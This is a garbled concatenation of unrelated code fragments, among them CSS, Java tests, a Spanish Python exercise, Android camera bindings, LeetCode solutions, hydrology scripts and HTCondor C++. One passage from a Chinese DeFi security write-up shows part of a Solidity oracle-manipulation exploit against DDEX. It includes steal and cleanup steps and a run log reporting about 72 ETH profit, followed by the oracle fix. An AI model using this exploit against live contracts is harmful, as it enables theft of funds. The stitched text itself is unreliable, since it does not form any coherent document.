    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1ara.q102mm3ls4kbzmf1arg { width: 40%; }
    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1ara rx6a8zd9dx3ixsqz { margin: 0 auto; }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arb {
        width: 50%;
    }

        @media (min-width:1350px) {

        .q102mm3ls4kbzmf1ara,
        .q102mm3ls4kbzmf1arb {
            margin-top: 50px;
        }

        .q102mm3ls4kbzmf1ard {
            width: 40%;
            margin-top:50px;
        }

        .q102mm3ls4kbzmf1ari {
            width: 40%;
            margin-top:30px;
        }

        .q102mm3ls4kbzmf1arc,
        .q102mm3ls4kbzmf1arp {
            text-align: center;
            z-index: 0;
        }

        .q102mm3ls4kbzmf1arp {
            margin: 0 auto;
            background-color: #101010;
        }

        .q102mm3ls4kbzmf1arc .ad_title,
        .q102mm3ls4kbzmf1arp .ad_title {
            display: block;
            font-size: 11px;
            text-align: center;
        }

        .hd-thumbs .q102mm3ls4kbzmf1arc .ad_title,
        .hd-thumbs .q102mm3ls4kbzmf1arc .ad-link {
            display: block;
        }

                .q102mm3ls4kbzmf1aru.hd { height:76px; margin:auto;width:770px; }
        .q102mm3ls4kbzmf1aru.hd iframe { height:76px!important; }

                .q102mm3ls4kbzmf1arh {
            padding:20px;
            border: 1px solid #1D1D1D;
            background: #101010;
        }

                .q102mm3ls4kbzmf1arf .removeAdsStyle { font-size: 12px; }
        .q102mm3ls4kbzmf1arf ul li.ps-list { width: 16%; }

                .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arc {
            wid


IA'
        'EoDVIIbmFja0Fja3MSHwoLbmFja19taXNzZXMYGiABKA1SCm5hY2tNaXNzZXMSIwoNbmFja19y'
        'ZXBlYXRlZBgmIAEoDVIMbmFja1JlcGVhdGVkEhIKBHBsaXMYGyABKA1SBHBsaXMSNQoIbGFzdF'
        '9wbGkYHCABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW1wUgdsYXN0UGxpEhIKBGZpcnMY'
        'HSABKA1SBGZpcnMSNQoIbGFzdF9maXIYHiABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW'
        '1wUgdsYXN0RmlyEh8KC3J0dF9jdXJyZW50GB8gASgNUgpydHRDdXJyZW50EhcKB3J0dF9tYXgY'
        'ICABKA1SBnJ0dE1heBIdCgprZXlfZnJhbWVzGCEgASgNUglrZXlGcmFtZXMSQAoObGFzdF9rZX'
        'lfZnJhbWUYIiABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW1wUgxsYXN0S2V5RnJhbWUS'
        'JgoPbGF5ZXJfbG9ja19wbGlzGCMgASgNUg1sYXllckxvY2tQbGlzEkkKE2xhc3RfbGF5ZXJfbG'
        '9ja19wbGkYJCABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW1wUhBsYXN0TGF5ZXJMb2Nr'
        'UGxpEjQKDHBhY2tldF9kcmlmdBgsIAEoCzIRLmxpdmVraXQuUlRQRHJpZnRSC3BhY2tldERyaW'
        'Z0EjsKEG50cF9yZXBvcnRfZHJpZnQYLSABKAsyES5saXZla2l0LlJUUERyaWZ0Ug5udHBSZXBv'
        'cnREcmlmdBJDChRyZWJhc2VkX3JlcG9ydF9kcmlmdBguIAEoCzIRLmxpdmVraXQuUlRQRHJpZn'
        'RSEnJlYmFzZWRSZXBvcnREcmlmdBJFChVyZWNlaXZlZF9yZXBvcnRfZHJpZnQYLyABKAsyES5s'
        'aXZla2l0LlJUUERyaWZ0UhNyZWNlaXZlZFJlcG9ydERyaWZ0Gj8KEUdhcEhpc3RvZ3JhbUVudH'
        'J5EhAKA2tleRgBIAEoBVIDa2V5EhQKBXZhbHVlGAIgASgNUgV2YWx1ZToCOAE=');

@$core.Deprecated('Use rTCPSenderReportStateDescriptor instead')
const RTCPSenderReportState$json = {
  '1': 'RTCPSenderReportState',
  '2': [
    {'1': 'rtp_timestamp', '3': 1, '4': 1, '5': 13, '10': 'rtpTimestamp'},
    {'1': 'rtp_timestamp_ext', '3': 2, '4': 1, '5': 4, '10


zers.add(new DogDeserializer());

		deserializer = new GsonDeserialization(provider, new DefaultJsonDeserializers(deserializers), request);

		InputStream stream = new ByteArrayInputStream("{'dog':{'name':'Renan Reis','age':'0'}}".getBytes());

		when(provider.parameterNamesFor(bark.getMethod())).thenReturn(new String[] { "dog" });

		Object[] deserialized = deserializer.deserialize(stream, bark);

		assertThat(deserialized.length, is(1));
		assertThat(deserialized[0], is(instanceOf(Dog.class)));
		Dog dog = (Dog) deserialized[0];
		assertThat(dog.name, is("Renan"));
		assertThat(dog.age, is(25));
	}

	@Test
	public void shouldBeAbleToDeserializeADogWhenMethodHasMoreThanOneArgument() throws Exception {
		InputStream stream = new ByteArrayInputStream("{'dog':{'name':'Brutus','age':7}}".getBytes());

		when(provider.parameterNamesFor(jump.getMethod())).thenReturn(new String[] { "dog", "times" });

		Object[] deserialized = deserializer.deserialize(stream, jump);

		assertThat(deserialized.length, is(2));
		assertThat(deserialized[0], is(instanceOf(Dog.class)));
		Dog dog = (Dog) deserialized[0];
		assertThat(dog.name, is("Brutus"));
		assertThat(dog.age, is(7));
	}

	@Test
	public void shouldBeAbleToDeserializeADogWhenMethodHasMoreThanOneArgumentAndHasNotRoot() throws Exception {
		InputStream stream = new ByteArrayInputStream("{'name':'Brutus','age':7}".getBytes());

		when(provider.parameterNamesFor(jump.getMethod())).thenReturn(new String[] { "dog", "times" });

		Object[] deserialized = deserializer.deserialize(stream, jump);

		assertThat(deserialized.length, is(2));
		assertThat(deserialized[0], is(instanceOf(Dog.class)));
		Dog dog = (Dog) deserialized[0];
		assertThat(dog.name, is("Brutus"));
		assertThat(dog.age, is(7));
	}

	@Test
	public void shouldBeAbleToDeserializeADogWhenMethodHasMoreThanOneArgumentAndTheXmlIsTheLastOne() throws Exception {
		InputStream stream = new ByteArrayInputStream("{'dog':{'name':'Brutus','age':7}}".getBytes());

		when(provider.parameterNamesFor(dropDead.getMethod())).thenReturn(new String[] { "times", "dog" });

		Object[] deserialized = deserializer.deserialize(stream, dropDead);

		assertThat(deserialized.length, is(2));
		assertThat(deserialized[1], is(instanceOf(Dog.class)));
		Dog dog = (Dog) deserialized[1];
		assertThat(dog.name, is("Brutus"));
		assertThat(dog.age, is(7));
	}

	@Test
	public void shouldBeAbleToDeserializeADogNamedDifferently() throws Exception {
		InputStream stream = new ByteArrayInputStream("{'pet':{'name':'Brutus','age':7}}".getBytes());

		when(provider.parameterNamesFor(bark.getMethod())).thenReturn(new String[] { "pet" });

		Object[] deserialized = deserializer.deserialize(stream, bark);

		assertThat(deserialized.length, is(1));
		assertThat(deserialized[0], is(instanceOf(Dog.class)));
		Dog dog = (Dog) deserialized[0];
		assertThat(dog.name, is("Brutus"));
		assertThat(dog.age, is(7));
	}

	@Test
	public void shouldDeserializeADogWithCalendarAttribute() {
		InputStream stream = new ByteArray


# 06. **Concesionario de Coches**
# Lista de coches disponibles en un concesionario con detalles como marca,
# modelo, precio y año. El registro del concesionario debe contener al menos 10 vehículos.
# Filtrar por marca, calcular el valor promedio de los coches, actualizar precios.
'''  JSON =
{
    "coches": [
        {"marca": "Toyota", "modelo": "Corolla", "precio": 20000, "año": 2023},
        {"marca": "Ford", "modelo": "Focus", "precio": 18000, "año": 2022}
    ]
}
'''

import json

registro_coches = {
    "coches": [
        {"marca": "Toyota", "modelo": "Corolla", "precio": 20000, "año": 2023},
        {"marca": "Ford", "modelo": "Focus", "precio": 18000, "año": 2022},
    ]}

def agregar_coche(marca, modelo, precio, año):
    nuevo_coche = {
        "marca": marca,
        "modelo": modelo,
        "precio": precio,
        "año": año
    }
    registro_coches["coches"].append(nuevo_coche)
    return "Coche añadido"

def filtrar_por_marca(marca):
    coches_filtrados = []
    for coche in registro_coches["coches"]:
        if coche["marca"].lower() == marca.lower():
            coches_filtrados.append(coche)
    return coches_filtrados

def calcular_valor_promedio():
    if not registro_coches["coches"]:
        return 0
    total_precio = sum(coche["precio"] for coche in registro_coches["coches"])
    promedio = total_precio / len(registro_coches["coches"])
    return promedio

def actualizar_precio(marca, modelo, nuevo_precio):
    for coche in registro_coches["coches"]:
        if coche["marca"].lower() == marca.lower() and coche["modelo"].lower() == modelo.lower():
            coche["precio"] = nuevo_precio
            return "Precio actualizado"
    return "Coche no encontrado"

def guardar_informacion():
    with open("jsons/06_coches.json", "w") as archivo:
        json.dump(registro_coches, archivo, indent=2)

# pereza repetirlo 10 veces/bucle
print('agregar_coche("Tesla", "Model 3", 35000, 2023): ',
      agregar_coche("Tesla", "Model 3", 35000, 2023))
print('filtrar_por_marca("Toyota"): ', filtrar_por_marca("Toyota"))
print('calcular_valor_promedio(): ', calcular_valor_promedio())
print('actualizar_precio("Ford", "Focus", 17500): ', actualizar_precio("Ford", "Focus", 17500))
guardar_informacion()


REQUEST_PARTIAL_RESULT_COUNT // int32

	/**
	 *
List of capabilities that this camera device
	 * advertises as fully supporting.

	 *
	 *
Type: byte[n] (acamera_metadata_enum_android_request_available_capabilities_t)

	 *
	 *
This tag may appear in:
	 *

	 *
ACameraMetadata from ACameraManager_getCameraCharacteristics

	 *

	 *
	 *
A capability is a contract that the camera device makes in order
	 * to be able to satisfy one or more use cases.

	 *
Listing a capability guarantees that the whole set of features
	 * required to support a common use will all be available.

	 *
Using a subset of the functionality provided by an unsupported
	 * capability may be possible on a specific camera device implementation;
	 * to do this query each of ACAMERA_REQUEST_AVAILABLE_REQUEST_KEYS,
	 * ACAMERA_REQUEST_AVAILABLE_RESULT_KEYS,
	 * ACAMERA_REQUEST_AVAILABLE_CHARACTERISTICS_KEYS.

	 *
The following capabilities are guaranteed to be available on
	 * ACAMERA_INFO_SUPPORTED_HARDWARE_LEVEL == FULL devices:

	 *

	 *
MANUAL_SENSOR

	 *
MANUAL_POST_PROCESSING

	 *

	 *
Other capabilities may be available on either FULL or LIMITED
	 * devices, but the application should query this key to be sure.

	 *
	 * @see ACAMERA_INFO_SUPPORTED_HARDWARE_LEVEL
	 * @see ACAMERA_REQUEST_AVAILABLE_CHARACTERISTICS_KEYS
	 * @see ACAMERA_REQUEST_AVAILABLE_REQUEST_KEYS
	 * @see ACAMERA_REQUEST_AVAILABLE_RESULT_KEYS
	 */
	REQUEST_AVAILABLE_CAPABILITIES MetadataTag = C.ACAMERA_REQUEST_AVAILABLE_CAPABILITIES // byte[n] (acamera_metadata_enum_android_request_available_capabilities_t)

	/**
	 *
A list of all keys that the camera device has available
	 * to use with {@link ACaptureRequest}.

	 *
	 *
Type: int32[n]

	 *
	 *
This tag may appear in:
	 *

	 *
ACameraMetadata from ACameraManager_getCameraCharacteristics

	 *

	 *
	 *
Attempting to set a key into a CaptureRequest that is not
	 * listed here will result in an invalid request and will be rejected
	 * by the camera device.

	 *
This field can be used to query the feature set of a camera device
	 * at a more granular level than capabilities. This is especially
	 * important for optional keys that are not listed under any capability
	 * in ACAMERA_REQUEST_AVAILABLE_CAPABILITIES.

	 *
	 * @see ACAMERA_REQUEST_AVAILABLE_CAPABILITIES
	 */
	REQUEST_AVAILABLE_REQUEST_KEYS MetadataTag = C.ACAMERA_REQUEST_AVAILABLE_REQUEST_KEYS // int32[n]

	/**
	 *
A list of all keys that the camera device has available
	 * to query with {@link ACameraMetadata} from
	 * {@link ACameraCaptureSession_captureCallback_result}.

	 *
	 *
Type: int32[n]

	 *
	 *
This tag may appear in:
	 *

	 *
ACameraMetadata from ACameraManager_getCameraCharacteristics

	 *

	 *
	 *
Attempting to get a key from a CaptureResult that is not
	 * listed here will always return a null value. Getting a key from
	 * a CaptureResult that is listed here will generally never return a null
	 * value.

	 *
Th


asmAddr(),
        ).toLong()
        return LongArray(1) { result }
    }
}
/*
 * Copyright 2024-2025, the wasi-emscripten-host project authors and contributors. Please see the AUTHORS file
 * for details. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
 * SPDX-License-Identifier: Apache-2.0
 */

@file:Suppress("NO_BRACES_IN_CONDITIONALS_AND_LOOPS")

package at.released.weh.bindings.graalvm241.memory

import at.released.weh.common.api.WasiEmscriptenHostDsl
import at.released.weh.wasm.core.memory.Pages
import at.released.weh.wasm.core.memory.WASM_MEMORY_DEFAULT_MAX_PAGES

public class MemorySpec private constructor(
    public val maxSize: Pages,
    public val minSize: Pages,
    public val sharedMemory: Boolean,
    public val useUnsafeMemory: Boolean,
    public val supportMemory64: Boolean,
) {
    override fun equals(other: Any?): Boolean {
        if (this === other) return true
        if (javaClass != other?.javaClass) return false

        other as MemorySpec

        if (maxSize != other.maxSize) return false
        if (minSize != other.minSize) return false
        if (sharedMemory != other.sharedMemory) return false
        if (useUnsafeMemory != other.useUnsafeMemory) return false
        if (supportMemory64 != other.supportMemory64) return false

        return true
    }

    override fun hashCode(): Int {
        var result = maxSize.hashCode()
        result = 31 * result + minSize.hashCode()
        result = 31 * result + sharedMemory.hashCode()
        result = 31 * result + useUnsafeMemory.hashCode()
        result = 31 * result + supportMemory64.hashCode()
        return result
    }

    @WasiEmscriptenHostDsl
    public class Builder {
        /**
         * Limits of the imported memory: minimum size in pages.
         */
        @set:JvmSynthetic
        public var minSize: Pages = Pages(0)

        /**
         * Limits of the imported memory: maximum size in pages.
         */
        @set:JvmSynthetic
        public var maxSize: Pages = WASM_MEMORY_DEFAULT_MAX_PAGES

        /**
         * Specifies whether this memory is shared
         */
        @set:JvmSynthetic
        public var shared: Boolean = false

        /**
         * If true, a memory implementation based on [sun.misc.Unsafe] is used.
         * Required when threading support is activated in the Graal Context and [shared] is true.
         */
        @set:JvmSynthetic
        public var useUnsafe: Boolean = false

        /**
         * Sets whether the memory supports 64-bit extension
         */
        @set:JvmSynthetic
        public var supportMemory64: Boolean = false

        public fun setMinSize(minSize: Pages): Builder = apply {
            this.minSize = minSize
        }

        public fun setMaxSize(maxSize: Pages): Builder = apply {
            require(maxSize.count > 0) { "maxSizePages should be positive" }
            this.maxSize = maxSize
        }

        public fun setShared(shared: Boolean): Builder = apply {
            this.shared = shared
        }

        public fun setUseUnsafe(useUnsafe: Boolean): Builder = apply {
            this.useUnsafe = useUnsafe
        }

        public fun setSupportMemory64(supportMemory64: Boolean): Builder = apply {
            this.supportMemory64 = supportMemory64
        }

        public fun build(): MemorySpec {
            require(minSize.count <= maxSize.count) { "maxSizePages should not be less than minSizePages


er,
            encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
        });
        actions[2] = HydroLike.Action({
            actionType: HydroLike.ActionType.Borrow,
            encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
        });
        actions[3] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
        });
        actions[4] = HydroLike.Action({
            actionType: HydroLike.ActionType.Withdraw,
            encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
        });
        DAI.approve(address(HYDRO), daiRequired);
        HYDRO.batch(actions);
    }

    function cleanup() external {
        DAI.approve(address(MATCHING_MARKET), uint(-1));
        MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
        WETH.withdrawAll();

        DAI.giveAllToUniswap();
        require(DAI_ORACLE.updatePrice());
    }

    function checkProfits() external {
        printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
    }
}

/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/
```

### 解决方案

DDEX团队通过部署[新的预言机](https://etherscan.io/address/0xe6f148448b61339a59ef6ab9ab7378e9200fa745)解决了此问题这对DAI的价格设置了合约价格界限，目前将其设置为0.95和1.05。

```
function updatePrice()
	public
	returns (bool)
{
	uint256 _price = peek();

	if (_price == 0) {
		return false;
	}

	if (_price == price) {
		return true;
	}

	if (_price > maxPrice) {
		_price = maxPrice;
	} else if (_price < minPrice) {
		_price = minPrice;
	}

	price = _price;
	emit UpdatePrice(price);

	return true;
}
```
参考[源码](https://github.com/HydroProtocol/protocol/blob/0466e064234117d9c8f7ae6962fe6233427d8656/contracts/oracle/DaiPriceOracle.sol#L100-L124)

## bZx和Fulcrum

[bZx](https://bzx.network)是去中心化的保证金交易协议，而[Fulcrum](https://fulcrum.trade/#/)是bZx团队在bZx本身之上构建的项目。 Fulcrum的一个功能是可以通过 iToken (有关更多信息，请点击[此处](https://medium.com/bzxnetwork/introducing-fulcrum-tokenized-margin-made-dead-simple-e65ccc82393f))借贷,，它可以使用任何（在Kyber上交易）代币作为抵押。为了确定需要多少抵押品，bZx使用了[Kyber Network](https://kyber.network)作为链上去中心化预言机，以检查抵押代币和贷款代币之间的汇率。

但是，首先了解Kyber网络的功能很重要。与大多数其他DEX不同，Kyber


;

    while (!stack.empty() || p != null) {
      while (p != null) {
        stack.push(p);
        p = p.left;
      }
      p = stack.pop();
      result.add(p.val);
      p = p.right;
    }

    return result;
  }
}
// @lc code=end

/*
 * @lc app=leetcode.cn id=35 lang=java
 *
 * [35] 搜索插入位置
 *
 * https://leetcode-cn.com/problems/search-insert-position/description/
 *
 * algorithms
 * Easy (45.58%)
 * Likes:    550
 * Dislikes: 0
 * Total Accepted:    179.4K
 * Total Submissions: 391.8K
 * Testcase Example:  '[1,3,5,6]\n5'
 *
 * 给定一个排序数组和一个目标值，在数组中找到目标值，并返回其索引。如果目标值不存在于数组中，返回它将会被按顺序插入的位置。
 *
 * 你可以假设数组中无重复元素。
 *
 * 示例 1:
 *
 * 输入: [1,3,5,6], 5
 * 输出: 2
 *
 *
 * 示例 2:
 *
 * 输入: [1,3,5,6], 2
 * 输出: 1
 *
 *
 * 示例 3:
 *
 * 输入: [1,3,5,6], 7
 * 输出: 4
 *
 *
 * 示例 4:
 *
 * 输入: [1,3,5,6], 0
 * 输出: 0
 *
 *
 */

// @lc code=start
class Solution {
  public int searchInsert(int[] nums, int target) {
    int left = 0;
    int right = nums.length - 1;
    while (left <= right) {
      int mid = left + (right - left) / 2;
      if (nums[mid] < target) {
        left = mid + 1;
      } else if (nums[mid] > target) {
        right = mid - 1;
      } else if (nums[mid] == target) {
        return mid;
      }
    }
    return left;
  }
}
// @lc code=end

/*
 * @lc app=leetcode.cn id=300 lang=java
 *
 * [300] 最长上升子序列
 *
 * https://leetcode-cn.com/problems/longest-increasing-subsequence/description/
 *
 * algorithms
 * Medium (44.40%)
 * Likes:    818
 * Dislikes: 0
 * Total Accepted:    114.6K
 * Total Submissions: 256.2K
 * Testcase Example:  '[10,9,2,5,3,7,101,18]'
 *
 * 给定一个无序的整数数组，找到其中最长上升子序列的长度。
 *
 * 示例:
 *
 * 输入: [10,9,2,5,3,7,101,18]
 * 输出: 4
 * 解释: 最长的上升子序列是 [2,3,7,101]，它的长度是 4。
 *
 * 说明:
 *
 *
 * 可能会有多种最长上升子序列的组合，你只需要输出对应的长度即可。
 * 你算法的时间复杂度应该为 O(n^2) 。
 *
 *
 * 进阶: 你能将算法的时间复杂度降低到 O(n log n) 吗?
 *
 */

// @lc code=start
class Solution {
  public int lengthOfLIS(int[] nums) {
    int[] tails = new int[nums.length];
    int r


@apply first:rounded-l-md last:rounded-r-md;
            }

            a {
                @apply bg-gray-100 hover:bg-gray-50 hover:text-slate-800 hover:font-semibold;
                @apply dark:bg-dark-800 dark:text-dark-400 dark:hover:text-emerald-500;
                @apply first:border-r-0 nth-last-[-n+2]:border-l-0;
            }
        }
    }

    #pg-footer {
        @apply border-border-200;
        @apply dark:bg-dark-900 dark:border-dark-700;
    }
}

.fi-wi-chart {
    section {
        @apply rounded-lg ring-0 shadow-none;
        @apply dark:bg-dark-950/50! dark:ring-1 dark:ring-[#282828];
    }
}

.qrcode {
    @apply rounded-2xl p-1;
    @apply bg-black/5 outline outline-white/15 backdrop-blur-md;
    @apply dark:bg-white/15 dark:p-2;
}

.page_about {
    .env_value {
        @apply bg-gray-100 font-mono text-[1em];
        @apply rounded px-1 py-0.5;

        &.env_value_expected {
            @apply text-emerald-700;
            @apply dark:bg-dark-950/50 dark:text-emerald-600 ;
        }

        &.env_value_actual {
            @apply text-slate-800;
            @apply dark:bg-dark-950/50 dark:text-dark-300;
        }
    }

    .config {
        dl {
            @apply grid gap-[4px_16px];
            @apply md:auto-cols-[auto_1fr];
        }

        dt {
            @apply md:w-64;
            @apply font-semibold md:font-normal;
        }

        dd {
            @apply ms-6 md:col-start-2;
            @apply dark:text-dark-400;
        }
    }
}

.auth-box {
    @apply w-full sm:max-w-md mt-6 px-12 py-8 overflow-hidden;
}

.hero__emphasizing {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDQAAAA2CAMAAAAPtzlQAAAAQlBMVEUAAAD/0l//z1z/0l//0V7/0mD/0l3/z2D/01//z1z/0l//0l//0V7/z2D/0l//0V7/0l//0l


       // fbc2-fbd2
    '13x1F'    // fbd3-fd3d    #31
    'a11M'     // fd3e-fd3f    #298
    'oE'       // fd40-fd4f
    '2k1F'     // fd50-fd8f    #31
    'aE'       // fd90-fd91
    '2a1F'     // fd92-fdc7    #31
    '1mE'      // fdc8-fdef
    'a1F'      // fdf0-fdf1    #31
    '3W'       // fdf2         #100
    'i1F'      // fdf3-fdfc    #31
    '3W'       // fdfd         #100
    'aE'       // fdfe-fdff
    '10T'      // fe00         #279
    'nE'       // fe01-fe0f
    'iA'       // fe10-fe19    #0
    'eE'       // fe1a-fe1f
    'cL'       // fe20-fe23    #11
    'b9Z'      // fe24-fe26    #259
    'cL'       // fe27-fe2a    #11
    'b9W'      // fe2b-fe2d    #256
    'a3V'      // fe2e-fe2f    #99
    '1hA'      // fe30-fe52    #0
    'E'        // fe53
    'rA'       // fe54-fe66    #0
    'E'        // fe67
    'cA'       // fe68-fe6b    #0
    'cE'       // fe6c-fe6f
    'd1F'      // fe70-fe74    #31
    'E'        // fe75
    '5d1F'     // fe76-fefc    #31
    'aE'       // fefd-fefe
    'L'        // feff         #11
    'E'        // ff00
    '4C'       // ff01         #106
    'eA'       // ff02-ff07    #0
    'a12V'     // ff08-ff09    #333
    'aA'       // ff0a-ff0b    #0
    '4C'       // ff0c         #106
    '4T'       // ff0d         #123
    '6Q'       // ff0e         #172
    'jA'       // ff0f-ff19    #0
    '4U'       // ff1a         #124
    '4C'       // ff1b         #106
    'bA'       // ff1c-ff1e    #0
    '4C'       // ff1f         #106
    'zA'       // ff20-ff3a    #0
    '4T'       // ff3b         #123
    'A'        // ff3c         #0
    '4T'       // ff3d         #123
    '1bA'      // ff3e-ff5a    #0
    'T'        // ff5b         #19
    'A'        // ff5c         #0
    'T'        // ff5d         #19
    'bA'       // ff5e-ff60    #0
    '4U'       // ff61         #124
    'a4W'      // ff62-ff63    #126
    '4U'       // ff64         #124
    '4W'       // ff65         #126
    '2eA'      // ff66-ff9f    #0
    'P'        // ffa0         #15
    '1cA'      // ffa1-ffbe    #0
    'bE'       // ffbf-ffc1
    'eA'       // ffc2-ffc7    #0
    'aE


pd.Timedelta(hours=1)
    #             start_period = int(start_period)
    #             end_period = int(end_period)
    #             start_num = int(start_num)
    #             end_num = int(end_num)
    #             t_range_test_changci = pd.to_datetime(test_date[start_period:end_period]).values.astype("datetime64[h]")
    #             save_fig = os.path.join(save_dir, "test_results"+str(i)+".png")
    #             plot_sim_and_obs(t_range_test_changci, qsim.flatten()[start_num:end_num],obs.flatten()[start_num:end_num], prcp[start_num:end_num],save_fig)
    Prcp_list = []
    W_obs_list = []
    W_sim_list = []
    W_bias_abs_list = []
    W_bias_rela_list = []
    Q_max_obs_list = []
    Q_max_sim_list = []
    Q_bias_rela_list = []
    time_bias_list = []
    DC_list = []
    ID_list = []
    for i, row in time.iterrows():
        if test_starttime < row["starttime"] < test_endtime:
            start_num = (
                row["starttime"] - test_starttime - pd.Timedelta(hours=warmup_length)
            ) / pd.Timedelta(hours=1)
            end_num = (
                row["endtime"] - test_starttime - pd.Timedelta(hours=warmup_length)
            ) / pd.Timedelta(hours=1)
            start_period = (row["endtime"] - test_starttime) / pd.Timedelta(hours=1)
            end_period = (row["endtime"] - test_starttime) / pd.Timedelta(hours=1)
            start_period = int(start_period)
            end_period = int(end_period)
            start_num = int(start_num)
            end_num = int(end_num)
            t_range_train_changci = pd.date_range(
                row["starttime"], row["endtime"], freq="H"
            )
            save_fig = os.path.join(save_dir, "test_results" + str(i) + ".png")
            plot_sim_and_obs(
                t_range_train_changci,
                qsim.flatten()[start_num : end_num + 1],
                obs.flatten()[start_num : end_num + 1],
                prcp[start_num : end_num + 1],
                save_fig,
            )
            Prcp = sum(prcp[start_num : end_num + 1])
            W_obs = sum(obs.flatten()[start_num : end_num + 1])
            W_sim = sum(qsim.flatten()[start_num : end_num + 1])
            W_bias_abs = W_sim - W_obs
            W_bias_rela = W_bias_abs / W_obs
            Q_max_obs = np.max(obs[start_num : end_num + 1])
            Q_max_sim = np.max(qsim.flatten()[start_num : end_num + 1])
            Q_bias_rela = (Q_max_sim - Q_max_obs) / Q_max_obs
            t1 = np.argmax(qsim.flatten()[start_num : end_num + 1])
            t2 = np.argmax(obs[start_num : end_num + 1])
            time_bias = t1 - t2
            DC = NSE(
                obs.flatten()[start_num : end_num + 1],
                qsim.flatten()[start_num : end_num + 1],
            )
            ID = row["starttime"].strftime("%Y%m%d")
            Prcp_list.append(Prcp)
            W_obs_list.append(W_obs)
            W_sim_list.append(W_sim)
            W_bias_abs_list.append(W_bias_abs)
            W_bias_rela_list.append(W_bias_rela)
            Q_max_obs_list.append(Q_max_obs)
            Q_max_sim_list.append(Q_max_sim)
            Q_bias_rela_list.append(Q_bias_rela)
            time_bias_list.append(time_bias)
            DC_list.append(DC)
            ID_list.append(ID)

    bias = pd.DataFrame(
        {
            "Prcp(mm)": Prcp_list,
            "W_obs(mm)": W_obs_list,
            "W_sim(mm)": W_sim_list,
            "W_bias_abs": W_bias_abs_list,
            "W_bias_rela": W_bias_rela_list,
            "Q_max_obs(m3/s)": Q_max_obs_list,
            "Q_max_sim(m3/s)": Q_max_sim_list,
            "Q_bias_rela": Q_bias_rela_list,
            "time_bias": time_bias_list,
            "DC": DC_list,
            "ID": ID_list,
        }
    )
    bias.to_csv(
        os.path.join(
            "D:/研究生/毕业论文/new毕业论文/预答辩/碧流河水库/站点信息/test_metrics.csv"
        )
    )

    save_fig = os.path.join(save_dir, "test_results.png")

    plot_sim_and_obs(
        test_date[365:],
        qsim.flatten(),
        obs.flatten(),
        prcp[:],
        save_fig,
    )


/*
 * PointerVector.h
 *
 */

#ifndef TOOLS_POINTERVECTOR_H_
#define TOOLS_POINTERVECTOR_H_

#include "CheckVector.h"

template<class T>
class PointerVector : public CheckVector<T>
{
    int i;

public:
    PointerVector() : i(0) {}
    PointerVector(size_t size) : CheckVector<T>(size), i(0) {}
    PointerVector(const vector<T>& other) : CheckVector<T>(other), i(0) {}
    void clear()
    {
        vector<T>::clear();
        reset();
    }
    void reset()
    {
        i = 0;
    }
    T& next()
    {
        return (*this)[i++];
    }
    T* skip(size_t n)
    {
        i += n;
        return &*(this->begin() + i);
    }
    size_t left()
    {
        return this->size() - i;
    }
};

template<class T>
class IteratorVector : public CheckVector<T>
{
    typename vector<T>::iterator it;

public:
    void clear()
    {
        CheckVector<T>::clear();
        reset();
    }

    void reset()
    {
        it = this->begin();
    }

    T& next()
    {
#ifdef CHECK_BUFFER_SIZE
        require(1);
#endif
        return *it++;
    }

    size_t left()
    {
        return this->end() - it;
    }

    void require(size_t n)
    {
        assert(it >= this->begin() and it + n <= this->end());
    }
};

#endif /* TOOLS_POINTERVECTOR_H_ */


		if ( errstack ) {
			errstack->push( "DCSchedd::updateGSIcredential", 1,
							"bad parameters" );
		}
		return false;
	}

		// connect to the schedd, send the UPDATE_GSI_CRED command
	rsock.timeout(20);   // years of research... :)
	if( ! rsock.connect(_addr.c_str()) ) {
		dprintf( D_ALWAYS, "DCSchedd::updateGSIcredential: "
				 "Failed to connect to schedd (%s)\n", _addr.c_str() );
		if ( errstack ) {
			errstack->push( "DCSchedd::updateGSIcredential",
							CEDAR_ERR_CONNECT_FAILED,
							"Failed to connect to schedd" );
		}
		return false;
	}
	if( ! startCommand(UPDATE_GSI_CRED, (Sock*)&rsock, 0, errstack) ) {
		dprintf( D_ALWAYS, "DCSchedd::updateGSIcredential: "
				 "Failed send command to the schedd: %s\n",
				 errstack->getFullText().c_str());
		return false;
	}

		// If we're not already authenticated, force that now.
	if (!forceAuthentication( &rsock, errstack )) {
		dprintf( D_ALWAYS,
				"DCSchedd:updateGSIcredential authentication failure: %s\n",
				 errstack->getFullText().c_str() );
		return false;
	}

		// Send the job id
	rsock.encode();
	PROC_ID jobid;
	jobid.cluster = cluster;
	jobid.proc = proc;
	if ( !rsock.code(jobid) || !rsock.end_of_message() ) {
		dprintf(D_ALWAYS,"DCSchedd:updateGSIcredential: "
				"Can't send jobid to the schedd, probably an authorization failure\n");
		if ( errstack ) {
			errstack->push( "DCSchedd::updateGSIcredential",
							CEDAR_ERR_PUT_FAILED,
							"Can't send jobid to the schedd, probably an authorization failure" );
		}
		return false;
	}

		// Send the gsi proxy
	filesize_t file_size = 0;	// will receive the size of the file
	if ( rsock.put_file(&file_size,path_to_proxy_file) < 0 ) {
		dprintf(D_ALWAYS,
			"DCSchedd:updateGSIcredential "
			"failed to send proxy file %s (size=%ld)\n",
